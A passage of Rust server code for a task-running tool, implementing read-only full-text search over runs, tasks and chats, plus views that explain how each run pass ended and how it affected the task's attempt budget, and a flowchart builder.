4367    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
4368    let mut first: Option<usize> = None;
4369    for term in terms {
4370        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
4371        first = Some(first.map_or(at, |f| f.min(at)));
4372    }
4373    // The leaf holding the earliest hit of any term is where the snippet is cut.
4374    let (field, text) = leaves[first?];
4375    Some(SearchHit {
4376        id: String::new(),
4377        field: field.to_owned(),
4378        snippet: snippet_of(text, terms),
4379        run: None,
4380    })
4381}
4382
4383/// A window of `text` around the first occurrence of any term, whitespace
4384/// collapsed, with every term occurrence inside the window marked.
4385fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
4386    let chars: Vec<char> = text.chars().collect();
4387    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
4388    let needles: Vec<Vec<char>> = terms
4389        .iter()
4390        .map(|t| t.chars().map(fold_char).collect())
4391        .collect();
4392    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
4393        let mut best: Option<(usize, usize)> = None;
4394        for n in needles.iter().filter(|n| !n.is_empty()) {
4395            // `to` bounds where a match may start; it may run past `to` (the
4396            // caller clips what it shows). A term longer than the field cannot
4397            // occur in it (it may live in another leaf of the document).
4398            if n.len() > chars.len() || to == 0 {
4399                continue;
4400            }
4401            let last = (to - 1).min(chars.len() - n.len());
4402            if from > last {
4403                continue;
4404            }
4405            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
4406                && best.is_none_or(|(b, _)| i < b)
4407            {
4408                best = Some((i, i + n.len()));
4409            }
4410        }
4411        best
4412    };
4413    let Some((start, _)) = find(0, chars.len()) else {
4414        // Matched only through a case mapping that changes length: show the head.
4415        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
4416        return vec![SnippetPart {
4417            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
4418            hit: false,
4419        }];
4420    };
4421    let lo = start.saturating_sub(SNIPPET_BEFORE);
4422    let hi = (start + SNIPPET_AFTER).min(chars.len());
4423    let mut parts: Vec<SnippetPart> = Vec::new();
4424    let mut push = |s: &[char], hit: bool| {
4425        if s.is_empty() {
4426            return;
4427        }
4428        let text: String = s.iter().collect();
4429        match parts.last_mut() {
4430            Some(p) if p.hit == hit => p.text.push_str(&text),
4431            _ => parts.push(SnippetPart { text, hit }),
4432        }
4433    };
4434    if lo > 0 {
4435        push(&['\u{2026}'], false);
4436    }
4437    let mut at = lo;
4438    while at < hi {
4439        match find(at, hi) {
4440            Some((s, e)) => {
4441                push(&chars[at..s], false);
4442                // A match running past the window is shown up to its edge.
4443                let shown = e.min(hi);
4444                push(&chars[s..shown], true);
4445                at = shown;
4446            }
4447            None => {
4448                push(&chars[at..hi], false);
4449                at = hi;
4450            }
4451        }
4452    }
4453    if hi < chars.len() {
4454        push(&['\u{2026}'], false);
4455    }
4456    // Collapse whitespace (newlines in an instruction) without disturbing the
4457    // hit boundaries.
4458    let mut prev_space = false;
4459    for p in &mut parts {
4460        let mut out = String::with_capacity(p.text.len());
4461        for c in p.text.chars() {
4462            if c.is_whitespace() {
4463                if !prev_space {
4464                    out.push(' ');
4465                }
4466                prev_space = true;
4467            } else {
4468                out.push(c);
4469                prev_space = false;
4470            }
4471        }
4472        p.text = out;
4473    }
4474    parts.retain(|p| !p.text.is_empty());
4475    parts
4476}
4477
4478/// The search over `docs` (id, document), newest first, capped.
4479fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
4480where
4481    I: IntoIterator<Item = (String, serde_json::Value)>,
4482{
4483    for (id, doc) in docs {
4484        let mut leaves = Vec::new();
4485        // The id is text an operator types too, and it is a map key on disk,
4486        // not a leaf.
4487        leaves.push(("id", id.as_str()));
4488        text_leaves(&doc, "", &mut leaves);
4489        if let Some(mut hit) = search_document(terms, &leaves) {
4490            view.total += 1;
4491            if view.hits.len() < SEARCH_MAX_HITS {
4492                hit.id = id;
4493                view.hits.push(hit);
4494            }
4495        }
4496    }
4497    view.truncated = view.total > view.hits.len();
4498}
4499
4500/// What a conversation is searched by: its list title and each turn's text,
4501/// under `operator` / `agent` so the snippet says who spoke. Nothing else
4502/// (session ids, repo paths, usage, drafts) is part of the document.
4503///
4504/// The title rule mirrors `talkOpener` / `firstLine` in `app.js`: the first
4505/// non-empty line of the first operator turn, trimmed and cut to 96 chars.
4506fn talk_search_doc(talk: &Talk) -> serde_json::Value {
4507    let opener = talk
4508        .turns
4509        .iter()
4510        .find(|t| t.who == crate::talk::Who::Operator)
4511        .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
4512        .unwrap_or("");
4513    let title: String = if opener.chars().count() > 96 {
4514        opener.chars().take(95).chain(['\u{2026}']).collect()
4515    } else {
4516        opener.to_owned()
4517    };
4518    let turns: Vec<serde_json::Value> = talk
4519        .turns
4520        .iter()
4521        .map(|t| {
4522            let who = match t.who {
4523                crate::talk::Who::Operator => "operator",
4524                crate::talk::Who::Agent => "agent",
4525            };
4526            serde_json::json!({ who: t.body })
4527        })
4528        .collect();
4529    serde_json::json!({ "title": title, "turns": turns })
4530}
4531
4532/// Read-only full-text search over every run's `run.json`, every task or every
4533/// conversation (title and transcript).
4534///
4535/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
4536/// record from an older schema still searches; only a file that is not JSON
4537/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
4538async fn search_get(
4539    State(ui): State<Arc<Ui>>,
4540    Query(q): Query<SearchQuery>,
4541) -> ApiResult<Json<SearchView>> {
4542    let query = q.q.trim().to_owned();
4543    if query.is_empty() {
4544        return Err(ApiError::bad_request("q must not be empty"));
4545    }
4546    if query.chars().count() > SEARCH_MAX_QUERY {
4547        return Err(ApiError::bad_request(format!(
4548            "q is longer than {SEARCH_MAX_QUERY} characters"
4549        )));
4550    }
4551    let terms = search_terms(&query);
4552    if terms.len() > SEARCH_MAX_TERMS {
4553        return Err(ApiError::bad_request(format!(
4554            "q has more than {SEARCH_MAX_TERMS} terms"
4555        )));
4556    }
4557    let scope = q.scope;
4558    if scope != "runs" && scope != "tasks" && scope != "chats" {
4559        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
4560    }
4561    blocking(move || {
4562        let mut view = SearchView {
4563            scope: scope.clone(),
4564            q: query,
4565            hits: Vec::new(),
4566            total: 0,
4567            truncated: false,
4568            unreadable: 0,
4569        };
4570        if scope == "runs" {
4571            let mut unreadable = 0;
4572            // One run.json is read, matched and dropped at a time; nothing
4573            // holds the whole history. The scan runs to the end even past the
4574            // hit cap so `total` and `unreadable` stay exact.
4575            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
4576                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
4577                match body.and_then(|b| serde_json::from_str(&b).ok()) {
4578                    Some(v) => Some((id, v)),
4579                    None => {
4580                        unreadable += 1;
4581                        None
4582                    }
4583                }
4584            });
4585            search_docs(&terms, docs, &mut view);
4586            view.unreadable = unreadable;
4587            // Only the capped hits get a row: the filters need a run's state,
4588            // and reading every match would be the whole history again.
4589            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
4590            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
4591            for hit in &mut view.hits {
4592                if let Ok(state) = read_run(&ui.runs, &hit.id) {
4593                    hit.run = summarize(
4594                        [state],
4595                        &open_runs,
4596                        &claimed,
4597                        &superseded,
4598                        |p| probe.borrow_mut().status(p),
4599                        |p| probe.borrow_mut().started_at(p),
4600                    )
4601                    .pop();
4602                }
4603            }
4604        } else if scope == "chats" {
4605            let (talks, unreadable) = ui.talks.list_counting_unreadable();
4606            view.unreadable = unreadable;
4607            search_docs(
4608                &terms,
4609                talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
4610                &mut view,
4611            );
4612        } else {
4613            let docs = ui.queue.list().into_iter().filter_map(|t| {
4614                let mut v = serde_json::to_value(&t).ok()?;
4615                // `source` serialises as a tagged object; the label is what
4616                // the operator reads ("human", "chat@a1b2").
4617                if let Some(o) = v.as_object_mut() {
4618                    o.insert("filed_by".to_owned(), t.source.label().into());
4619                }
4620                Some((t.id, v))
4621            });
4622            search_docs(&terms, docs, &mut view);
4623        }
4624        Ok(Json(view))
4625    })
4626    .await
4627}
4628
4629/// One attempt in a task's history, as the task page lists it.
4630#[derive(Debug, Serialize)]
4631struct TaskRunView {
4632    /// 1-based position in [`Task::runs`].
4633    n: usize,
4634    id: String,
4635    short: String,
4636    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
4637    kind: &'static str,
4638    /// The run's own status string; `None` when its record cannot be read.
4639    status: Option<&'static str>,
4640    /// Whether this build could read the run's record. Counted, never hidden.
4641    readable: bool,
4642    /// A verdict from a collapsed panel is provisional, never a decision.
4643    provisional: bool,
4644    /// What kind of attempt this was, in one line.
4645    description: String,
4646    /// How it ended and why the task moved on (or what it is doing now).
4647    outcome: String,
4648    created_at: Option<Timestamp>,
4649    pr: Option<String>,
4650    /// Why this pass ended, classified once; the flowchart is built from it.
4651    exit: RunExit,
4652    /// What the pass did to the task's attempt budget.
4653    attempt: AttemptCost,
4654    /// Edge wording for leaving this entry; names the recorded cause when
4655    /// there is one.
4656    exit_label: String,
4657    /// The position of a later entry for the same run: this entry is an
4658    /// earlier pass of it.
4659    later_pass: Option<usize>,
4660    /// Which pass over the run this entry is (1-based) and how many entries
4661    /// the task lists for the run. Counted from the list, so known even for
4662    /// a legacy record.
4663    pass_n: usize,
4664    passes_of_run: usize,
4665    /// What the run recorded about this pass; `None` for a record from before
4666    /// passes were kept, whose cause stays unknown.
4667    pass: Option<PassView>,
4668    /// The branch a review-only run reopened.
4669    branch: Option<String>,
4670    /// The badge word when it differs from `status` (`stale` / `superseded`);
4671    /// filled by the task route, which can see liveness and later attempts.
4672    badge: Option<String>,
4673}
4674
4675/// One recorded pass over a run, for the wire.
4676#[derive(Debug, Clone, PartialEq, Serialize)]
4677struct PassView {
4678    index: usize,
4679    resumed: bool,
4680    started_at: Timestamp,
4681    ended_at: Option<Timestamp>,
4682    /// `open`, `parked` or `unrecorded`.
4683    end: &'static str,
4684    cause: Option<crate::run::ParkCause>,
4685    /// One line: why it stopped, or that nobody recorded why.
4686    label: String,
4687    /// What the task recorded for this pass; `None` when it was not settled
4688    /// (or settled by a build that kept no record).
4689    cost: Option<crate::queue::PassCost>,
4690}
4691
4692impl PassView {
4693    fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
4694        use crate::run::PassEnd;
4695        let (end, cause, label) = match &p.end {
4696            None => ("open", None, "still open".to_owned()),
4697            Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
4698            Some(PassEnd::Unrecorded) => (
4699                "unrecorded",
4700                None,
4701                "stopped without recording why (a crash, a kill or a restart; not known)"
4702                    .to_owned(),
4703            ),
4704        };
4705        Self {
4706            index: p.index,
4707            resumed: p.resumed,
4708            started_at: p.started_at,
4709            ended_at: p.ended_at,
4710            end,
4711            cause,
4712            label,
4713            cost: settled.map(|t| t.cost),
4714        }
4715    }
4716}
4717
4718/// How one pass over a run ended, as far as the task's life is concerned.
4719#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4720#[serde(rename_all = "snake_case")]
4721enum RunExit {
4722    Unreadable,
4723    /// An earlier pass of a run id that appears again: it stopped short.
4724    Interrupted,
4725    Parked,
4726    QuotaStall,
4727    /// Stalled on a resumed pass with quota losses on record: they may be
4728    /// left over from an earlier pass, so whether this one was refunded is
4729    /// not knowable.
4730    ResumedQuotaStall,
4731    Merged,
4732    Ready,
4733    Superseded,
4734    /// The change was already on the base under other commits: the task
4735    /// finished without this run landing anything.
4736    AlreadyInBase,
4737    /// Stalled without a rate limit to blame: no verdict, attempt spent.
4738    Stalled,
4739    /// Blocked / no-op with a pull request left open: held for a person.
4740    HeldWithPr,
4741    NoopHeld,
4742    /// Blocked or failed: the attempt is spent and the task retries or holds.
4743    Spent,
4744    InProgress,
4745}
4746
4747#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4748#[serde(rename_all = "snake_case")]
4749enum AttemptCost {
4750    Spent,
4751    Refunded,
4752    None,
4753    /// Cannot be told from the records that remain.
4754    Unknown,
4755}
4756
4757impl RunExit {
4758    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
4759        let Some(s) = s else {
4760            return Self::Unreadable;
4761        };
4762        let status = s.status;
4763        if resumed_later {
4764            Self::Interrupted
4765        } else if s.parked {
4766            Self::Parked
4767        } else if !status.done() {
4768            Self::InProgress
4769        } else if matches!(status, RunStatus::Merged) {
4770            Self::Merged
4771        } else if matches!(status, RunStatus::Ready) {
4772            Self::Ready
4773        } else if matches!(status, RunStatus::Superseded) {
4774            Self::Superseded
4775        } else if matches!(status, RunStatus::AlreadyInBase) {
4776            Self::AlreadyInBase
4777        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4778            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4779        {
4780            if resumed {
4781                Self::ResumedQuotaStall
4782            } else {
4783                Self::QuotaStall
4784            }
4785        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4786            Self::HeldWithPr
4787        } else if matches!(status, RunStatus::VerifiedNoop) {
4788            Self::NoopHeld
4789        } else if matches!(status, RunStatus::Stalled) {
4790            Self::Stalled
4791        } else {
4792            Self::Spent
4793        }
4794    }
4795
4796    fn cost(self) -> AttemptCost {
4797        match self {
4798            Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
4799            Self::Merged
4800            | Self::Ready
4801            | Self::Stalled
4802            | Self::HeldWithPr
4803            | Self::NoopHeld
4804            | Self::Spent => AttemptCost::Spent,
4805            Self::InProgress => AttemptCost::None,
4806            Self::AlreadyInBase => AttemptCost::Refunded,
4807            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
4808                AttemptCost::Unknown
4809            }
4810        }
4811    }
4812
4813    /// Short edge wording for leaving a run this way.
4814    fn edge_label(self, status: Option<&str>) -> String {
4815        match self {
4816            Self::Unreadable => "record unreadable".to_owned(),
4817            Self::Interrupted => "interrupted before the run finished".to_owned(),
4818            Self::Parked => "parked, attempt refunded".to_owned(),
4819            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
4820            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
4821            Self::Merged => "merged".to_owned(),
4822            Self::Ready => "ready, not merged".to_owned(),
4823            Self::Superseded => "superseded by a later attempt".to_owned(),
4824            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
4825            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
4826            Self::HeldWithPr => "blocked, PR left open".to_owned(),
4827            Self::NoopHeld => "verified no-op".to_owned(),
4828            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
4829            Self::InProgress => "in progress".to_owned(),
4830        }
4831    }
4832
4833    /// Does a task in `end` follow from a run that ended this way? When not,
4834    /// somebody closed or held the task by hand.
4835    fn explains(self, end: TaskStatus) -> bool {
4836        match self {
4837            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
4838            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
4839            Self::Unreadable | Self::Superseded | Self::Ready => true,
4840            _ => end != TaskStatus::Done,
4841        }
4842    }
4843}
4844
4845/// `GET /api/queue/{id}` - one task with every attempt it went through.
4846#[derive(Debug, Serialize)]
4847struct TaskDetailView {
4848    #[serde(flatten)]
4849    task: TaskView,
4850    /// Task override, or the default daemon budget when inherited.
4851    /// A separate loop's command-line limit is not visible from here.
4852    max_attempts: usize,
4853    history: Vec<TaskRunView>,
4854    /// Entries in `history`: passes over runs, not distinct runs and not
4855    /// attempts consumed (`task.attempts`).
4856    passes_total: usize,
4857    /// Distinct runs those passes belong to.
4858    runs_distinct: usize,
4859    flow: FlowView,
4860    /// Set for a follow-up task; see [`followup_origin`].
4861    followup_origin: Option<FollowUpOrigin>,
4862    /// How many entries of `history` could not be read.
4863    runs_unreadable: usize,
4864    /// Why the attempt count can be lower than the number of runs.
4865    attempts_note: &'static str,
4866}
4867
4868const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
4869and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
4870on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
4871the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
4872
4873/// The branch a review-only run reopened, read off the instruction
4874/// `Runner::open_review` writes.
4875fn review_branch_of(instruction: &str) -> Option<&str> {
4876    let rest = instruction.strip_prefix("Review the work already on branch `")?;
4877    rest.split('`').next().filter(|b| !b.is_empty())
4878}
4879
4880/// Where an entry sits in a task's run list.
4881#[derive(Default)]
4882struct RunSlot<'a> {
4883    /// 1-based position.
4884    n: usize,
4885    /// The same run id appeared earlier: this pass resumed it.
4886    resumed: bool,
4887    /// Position of a later pass over the same run id, if any.
4888    resumed_later: Option<usize>,
4889    /// The previous distinct run and how it ended, for the retry note.
4890    prior: Option<(&'a str, RunStatus)>,
4891    last: bool,
4892    /// This pass as the run recorded it, when it did.
4893    pass: Option<&'a crate::run::RunPass>,
4894    /// What the task recorded when it settled this pass.
4895    settled: Option<&'a crate::queue::TaskPass>,
4896    /// 1-based position among the task's entries for this run, and their count.
4897    pass_n: usize,
4898    passes_of_run: usize,
4899}
4900
4901/// Describe one entry of a task's run list. Pure: everything it needs is on
4902/// the run and the task, so it is asserted without a server.
4903fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
4904    let RunSlot {
4905        n,
4906        resumed,
4907        resumed_later,
4908        prior,
4909        last,
4910        pass,
4911        settled,
4912        pass_n,
4913        passes_of_run,
4914    } = at;
4915    let short = run::short_of(id).to_owned();
4916    let Some(s) = state else {
4917        return TaskRunView {
4918            n,
4919            id: id.to_owned(),
4920            short,
4921            kind: "unknown",
4922            status: None,
4923            readable: false,
4924            provisional: false,
4925            description:
4926                "This run's record could not be read by this build (written by a different \
4927                          magi, or removed), so what kind of attempt it was is unknown."
4928                    .to_owned(),
4929            outcome: String::new(),
4930            created_at: None,
4931            pr: None,
4932            exit: RunExit::Unreadable,
4933            attempt: AttemptCost::Unknown,
4934            exit_label: RunExit::Unreadable.edge_label(None),
4935            later_pass: resumed_later,
4936            pass_n,
4937            passes_of_run,
4938            pass: None,
4939            branch: None,
4940            badge: None,
4941        };
4942    };
4943    let branch = review_branch_of(&s.instruction);
4944    let kind = if resumed {
4945        "resume"
4946    } else if branch.is_some() {
4947        "review"
4948    } else if task.solo || s.candidates.len() == 1 {
4949        "solo"
4950    } else {
4951        "competition"
4952    };
4953    let mut description = match kind {
4954        "resume" => {
4955            format!("Resumed run {short}: the same run carried on instead of competing again.")
4956        }
4957        "review" => format!(
4958            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4959            branch.unwrap_or_default()
4960        ),
4961        "solo" => "Solo run: one implementer straight into review.".to_owned(),
4962        _ => format!(
4963            "Competition: {} candidates judged blind.",
4964            s.candidates.len().max(1)
4965        ),
4966    };
4967    if !resumed && let Some((p, st)) = prior {
4968        description.push_str(&format!(
4969            " A retry: run {p} before it ended {}.",
4970            st.display_label()
4971        ));
4972    }
4973
4974    let status = s.status;
4975    let provisional = matches!(status, RunStatus::Stalled)
4976        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4977    let head = if resumed_later.is_some() {
4978        String::new()
4979    } else {
4980        match status {
4981            RunStatus::Merged => "Merged.".to_owned(),
4982            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4983            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4984            RunStatus::AlreadyInBase => {
4985                "Already in the base: this change landed under other commits, nothing was left to land."
4986                    .to_owned()
4987            }
4988            RunStatus::Stalled => {
4989                "Stalled: the judging panel never reached a quorum, so there is no verdict."
4990                    .to_owned()
4991            }
4992            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
4993            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
4994            RunStatus::VerifiedNoop => {
4995                "Verified no-op: the candidates found nothing to change.".to_owned()
4996            }
4997            other if other.done() => format!("Ended {}.", other.display_label()),
4998            other => format!("In progress ({}).", other.display_label()),
4999        }
5000    };
5001    let view = pass.map(|p| PassView::of(p, settled));
5002    let recorded_end = view
5003        .as_ref()
5004        .filter(|v| matches!(v.end, "parked" | "unrecorded"));
5005    let cost_words = match view.as_ref().and_then(|v| v.cost) {
5006        Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
5007        Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
5008        None => "whether its attempt was handed back was not recorded",
5009    };
5010    let pass_note = if passes_of_run > 1 {
5011        format!(
5012            " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
5013        )
5014    } else {
5015        String::new()
5016    };
5017    let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
5018        // The run recorded this pass's end when it happened.
5019        let cause = match v.end {
5020            "parked" => format!("It was stopped on purpose: {}.", v.label),
5021            _ => format!("It {}.", v.label),
5022        };
5023        format!(
5024            " {cause} {}; pass #{k} resumed the same run.{pass_note}",
5025            capitalise(cost_words)
5026        )
5027    } else if let Some(k) = resumed_later {
5028        // A run is only picked up again while it is unfinished, so an earlier
5029        // pass of a repeated id stopped short; the record keeps only the run's
5030        // latest status, which is left to the pass that carried it on.
5031        // Only the latest state is recorded: `parked` is cleared on resume
5032        // and `quota` accumulates across passes, so neither says why *this*
5033        // pass stopped, and the refund is as unknown as `AttemptCost` says.
5034        let cause = if s.quota.is_empty() {
5035            "the cause was not recorded: a park, a crash or a restart all look the same from here"
5036        } else {
5037            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
5038        };
5039        format!(
5040            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
5041        )
5042    } else if s.parked {
5043        match recorded_end.and_then(|v| v.cause.as_ref()) {
5044            Some(cause) => format!(
5045                " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
5046                cause.label(),
5047                cost_words
5048            ),
5049            None => " Parked at a node boundary; the attempt was handed back and the run resumes."
5050                .to_owned(),
5051        }
5052    } else if !status.done()
5053        || matches!(
5054            status,
5055            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
5056        )
5057    {
5058        String::new()
5059    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
5060        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
5061    {
5062        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
5063            .to_owned()
5064    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
5065        " It left a pull request open, so the task was held for a person rather than retried."
5066            .to_owned()
5067    } else if matches!(status, RunStatus::VerifiedNoop) {
5068        " Held for a person to check the claim.".to_owned()
5069    } else if last {
5070        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
5071    } else {
5072        " It spent an attempt, and the task moved on to the next run.".to_owned()
5073    };
5074    let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
5075    let mut attempt = exit.cost();
5076    let mut exit_label = None;
5077    if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
5078        let spent = match v.cost {
5079            Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
5080            Some(crate::queue::PassCost::Spent) => ", attempt counted",
5081            None if resumed_later.is_some() => ", refund not recorded",
5082            None => ", attempt refunded",
5083        };
5084        attempt = match v.cost {
5085            Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
5086            Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
5087            None if resumed_later.is_some() => AttemptCost::Unknown,
5088            None => attempt,
5089        };
5090        if v.end == "parked" {
5091            exit = RunExit::Parked;
5092            exit_label = Some(match v.cause.as_ref() {
5093                Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
5094                    format!("parked for {}{spent}", c.label())
5095                }
5096                Some(c) => format!("parked ({}){spent}", c.label()),
5097                None => format!("parked{spent}"),
5098            });
5099        } else {
5100            exit_label = Some(format!("stopped without a recorded cause{spent}"));
5101        }
5102    }
5103    let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
5104    TaskRunView {
5105        n,
5106        id: id.to_owned(),
5107        short,
5108        kind,
5109        status: Some(status.as_str()),
5110        readable: true,
5111        provisional,
5112        description,
5113        outcome: format!("{head}{why}"),
5114        created_at: Some(s.created_at),
5115        pr: s.pr.as_ref().map(|p| p.url.clone()),
5116        exit,
5117        attempt,
5118        exit_label,
5119        later_pass: resumed_later,
5120        pass_n,
5121        passes_of_run,
5122        pass: view,
5123        branch: branch.map(str::to_owned),
5124        badge: None,
5125    }
5126}
5127
5128fn capitalise(s: &str) -> String {
5129    let mut c = s.chars();
5130    c.next().map_or_else(String::new, |f| {
5131        f.to_uppercase().collect::<String>() + c.as_str()
5132    })
5133}
5134
5135/// One box of the task's flowchart.
5136#[derive(Debug, Serialize, PartialEq)]
5137struct FlowNode {
5138    /// Unique by position: a resumed run id appears once per pass.
5139    key: String,
5140    /// `chat`, `followup`, `start`, `run` or `end`.
5141    kind: &'static str,
5142    label: String,
5143    /// Run status (or the task's, for `end`); `None` when it is not a fact
5144    /// about this box (unreadable, or a pass the run later resumed from).
5145    status: Option<&'static str>,
5146    /// Whose status `status` is, so the client picks the right colour table:
5147    /// `task` (the `followup` parent and `end`) or `run`.
5148    status_of: &'static str,
5149    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
5150    note: Option<&'static str>,
5151    run_kind: Option<&'static str>,
5152    detail: Option<String>,
5153    /// A readable run with a real verdict; a stall never is.
5154    decided: bool,
5155    readable: bool,
5156    href: Option<String>,
5157    /// Overrides `status` as the badge word (`stale` / `superseded`).
5158    badge: Option<String>,
5159    /// Start of this entry, never the run's latest update or pass settlement.
5160    started_at: Option<Timestamp>,
5161    /// Context links (chat / follow-up) do not represent execution entries.
5162    time_expected: bool,
5163}
5164
5165#[derive(Debug, Serialize, PartialEq)]
5166struct FlowEdge {
5167    from: String,
5168    to: String,
5169    label: String,
5170    attempt: AttemptCost,
5171}
5172
5173#[derive(Debug, Serialize, PartialEq)]
5174struct FlowView {
5175    nodes: Vec<FlowNode>,
5176    edges: Vec<FlowEdge>,
5177    /// Attempts the task has counted since it was last released.
5178    attempts: usize,
5179    max_attempts: usize,
5180    /// Entries in the run list (passes), and how many distinct runs they are.
5181    /// Neither is the number of attempts consumed.
5182    passes: usize,
5183    runs: usize,
5184}
5185
5186/// Turn a task and its described runs into the flowchart's boxes and arrows.
5187/// Pure: the page only draws what this returns.
5188///
5189/// A follow-up opens with its parent (or the merged run) unless the task's
5190/// *source* is itself a chat, in which case the chat stays first and the
5191/// follow-up node comes second. An inherited `Task::origin_chat` alone never
5192/// adds a chat node: `crate::followup` files with `node: "followup"`, so the
5193/// two normally do not coincide and the nearer origin wins.
5194fn task_flow(
5195    task: &Task,
5196    history: &[TaskRunView],
5197    max_attempts: usize,
5198    origin: Option<&FollowUpOrigin>,
5199) -> FlowView {
5200    let max_attempts = task.effective_attempt_limit(max_attempts);
5201    let node = |key: &str, kind, label: String| FlowNode {
5202        key: key.to_owned(),
5203        kind,
5204        label,
5205        status: None,
5206        status_of: "run",
5207        note: None,
5208        run_kind: None,
5209        detail: None,
5210        decided: false,
5211        readable: true,
5212        href: None,
5213        badge: None,
5214        started_at: None,
5215        time_expected: matches!(kind, "start" | "run" | "end"),
5216    };
5217    let mut nodes = Vec::new();
5218    let mut edges: Vec<FlowEdge> = Vec::new();
5219    // A task queued from a chat opens the flow with that conversation.
5220    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
5221        let mut n = node(
5222            "chat",
5223            "chat",
5224            format!("Chat {}", crate::queue::short(&link.id)),
5225        );
5226        n.href = Some(link.href);
5227        nodes.push(n);
5228        edges.push(FlowEdge {
5229            from: "chat".to_owned(),
5230            to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
5231            label: "queued from chat".to_owned(),
5232            attempt: AttemptCost::None,
5233        });
5234    }
5235    if let Some(o) = origin {
5236        let mut n = match &o.parent {
5237            Some(p) => {
5238                let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
5239                n.status = Some(p.status);
5240                n.status_of = "task";
5241                n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
5242                n.href = Some(p.href.clone());
5243                n
5244            }
5245            None => {
5246                let mut n = node(
5247                    "origin",
5248                    "followup",
5249                    format!("Follow-up of run {}", o.run.short),
5250                );
5251                n.detail = Some("merged run".to_owned());
5252                n.status = o.run.status;
5253                n.href = o.run.href.clone();
5254                if o.run.href.is_none() {
5255                    n.readable = false;
5256                    n.note = Some("unreadable");
5257                }
5258                n
5259            }
5260        };
5261        n.decided = true;
5262        let from = n.key.clone();
5263        nodes.push(n);
5264        let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
5265        let more = o.findings.len().saturating_sub(shown.len());
5266        let label = match (shown.is_empty(), more) {
5267            (true, _) => "open findings".to_owned(),
5268            (false, 0) => format!("open findings {}", shown.join(", ")),
5269            (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
5270        };
5271        edges.push(FlowEdge {
5272            from,
5273            to: "start".to_owned(),
5274            label,
5275            attempt: AttemptCost::None,
5276        });
5277    }
5278    let mut start = node("start", "start", "Task queued".to_owned());
5279    start.started_at = Some(task.created_at);
